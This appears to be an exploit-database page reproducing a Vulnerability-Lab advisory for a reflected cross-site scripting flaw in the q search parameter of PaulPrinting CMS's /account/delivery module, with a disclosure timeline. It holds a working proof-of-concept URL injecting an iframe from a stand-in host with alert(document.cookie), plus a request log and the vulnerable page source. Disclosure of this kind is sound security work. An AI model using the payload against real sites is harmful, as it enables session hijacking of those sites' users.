c18d9953a2
22 changes to exploits/shellcodes/ghdb Keeper Security desktop 16.10.2 & Browser Extension 16.5.4 - Password Dumping Active Super Shop CMS v2.5 - HTML Injection Vulnerabilities Availability Booking Calendar v1.0 - Multiple Cross-site scripting (XSS) Dooblou WiFi File Explorer 1.13.3 - Multiple Vulnerabilities Joomla HikaShop 4.7.4 - Reflected XSS Joomla VirtueMart Shopping Cart 4.0.12 - Reflected XSS mooDating 1.2 - Reflected Cross-site scripting (XSS) October CMS v3.4.4 - Stored Cross-Site Scripting (XSS) (Authenticated) PaulPrinting CMS - (Search Delivery) Cross Site Scripting Perch v3.2 - Persistent Cross Site Scripting (XSS) RosarioSIS 10.8.4 - CSV Injection WordPress Plugin AN_Gradebook 5.0.1 - SQLi Zomplog 3.9 - Cross-site scripting (XSS) zomplog 3.9 - Remote Code Execution (RCE) copyparty 1.8.2 - Directory Traversal copyparty v1.8.6 - Reflected Cross Site Scripting (XSS) GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution mRemoteNG v1.77.3.1784-NB - Cleartext Storage of Sensitive Information in Memory Windows/x64 - PIC Null-Free Calc.exe Shellcode (169 Bytes)
144 lines
No EOL
4.6 KiB
Text
144 lines
No EOL
4.6 KiB
Text
Exploit Title: PaulPrinting CMS - (Search Delivery) Cross Site Scripting
|
|
References (Source):
|
|
====================
|
|
https://www.vulnerability-lab.com/get_content.php?id=2286
|
|
Release Date:
|
|
=============
|
|
2023-07-17
|
|
Vulnerability Laboratory ID (VL-ID):
|
|
====================================
|
|
2286
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
5.2
|
|
Vulnerability Class:
|
|
====================
|
|
Cross Site Scripting - Non Persistent
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
PaulPrinting is designed feature rich, easy to use, search engine friendly, modern design and with a visually appealing interface.
|
|
|
|
(Copy of the Homepage:https://codecanyon.net/user/codepaul )
|
|
|
|
|
|
Abstract Advisory Information:
|
|
==============================
|
|
The vulnerability laboratory core research team discovered a non-persistent cross site vulnerability in the PaulPrinting (v2018) cms web-application.
|
|
|
|
|
|
Vulnerability Disclosure Timeline:
|
|
==================================
|
|
2022-08-25: Researcher Notification & Coordination (Security Researcher)
|
|
2022-08-26: Vendor Notification (Security Department)
|
|
2022-**-**: Vendor Response/Feedback (Security Department)
|
|
2022-**-**: Vendor Fix/Patch (Service Developer Team)
|
|
2022-**-**: Security Acknowledgements (Security Department)
|
|
2023-07-17: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Discovery Status:
|
|
=================
|
|
Published
|
|
|
|
|
|
Exploitation Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity Level:
|
|
===============
|
|
Medium
|
|
|
|
|
|
Authentication Type:
|
|
====================
|
|
Open Authentication (Anonymous Privileges)
|
|
|
|
|
|
User Interaction:
|
|
=================
|
|
Medium User Interaction
|
|
|
|
|
|
Disclosure Type:
|
|
================
|
|
Responsible Disclosure
|
|
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
A client-side cross site scripting vulnerability has been discovered in the official PaulPrinting (v2018) cms web-application.
|
|
Remote attackers are able to manipulate client-side requests by injection of malicious script code to compromise user session data.
|
|
|
|
The client-side cross site scripting web vulnerability is located in the search input field with the insecure validated q parameter
|
|
affecting the delivery module. Remote attackers are able to inject own malicious script code to the search input to provoke a client-side
|
|
script code execution without secure encode. The request method to execute is GET and the attack vector is non-persistent.
|
|
|
|
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects
|
|
to malicious source and non-persistent manipulation of affected application modules.
|
|
|
|
|
|
Request Method(s):
|
|
[+] GET
|
|
|
|
Vulnerable Module(s):
|
|
[+] /account/delivery
|
|
|
|
Vulnerable Input(s):
|
|
[+] Search
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] q
|
|
|
|
Affected Module(s):
|
|
[+] /account/delivery
|
|
[+] Delivery Contacts
|
|
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
The non-persistent xss web vulnerability can be exploited by remote attackers with low privileged user account and medium user interaction.
|
|
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
|
|
|
|
PoC: Example
|
|
https://codeawesome.in/printing/account/delivery?q=
|
|
|
|
PoC: Exploitation
|
|
https://codeawesome.in/printing/account/delivery?q=a"><iframe src=evil.source onload=alert(document.cookie)>
|
|
|
|
|
|
--- PoC Session Logs (GET) ---
|
|
https://codeawesome.in/printing/account/delivery?q=a"><iframe src=evil.source onload=alert(document.cookie)>
|
|
Host: codeawesome.in
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Connection: keep-alive
|
|
Cookie: member_login=1; member_id=123; session_id=25246428fe6e707a3be0e0ce54f0e5bf;
|
|
-
|
|
GET: HTTP/3.0 200 OK
|
|
content-type: text/html; charset=UTF-8
|
|
x-powered-by: PHP/7.1.33
|
|
|
|
|
|
Vulnerable Source: (Search - delivery?q=)
|
|
<div class="col-lg-8">
|
|
<a href="https://codeawesome.in/printing/account/delivery" class="btn btn-primary mt-4 mb-2 float-right">
|
|
<i class="fa fa-fw fa-plus"></i>
|
|
</a>
|
|
<form class="form-inline mt-4 mb-2" method="get">
|
|
<div class="input-group mb-3 mr-2">
|
|
<input type="text" class="form-control" name="q" value="a"><iframe src="evil.source" onload="alert(document.cookie)">">
|
|
<div class="input-group-append">
|
|
<button class="btn btn-outline-secondary" type="submit" id="button-addon2"><i class="fa fa-fw fa-search"></i></button>
|
|
</div></div>
|
|
|
|
|
|
Security Risk:
|
|
==============
|
|
The security risk of the cross site scripting web vulnerability with non-persistent attack vector is estimated as medium.
|
|
|
|
|
|
Credits & Authors:
|
|
==================
|
|
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab |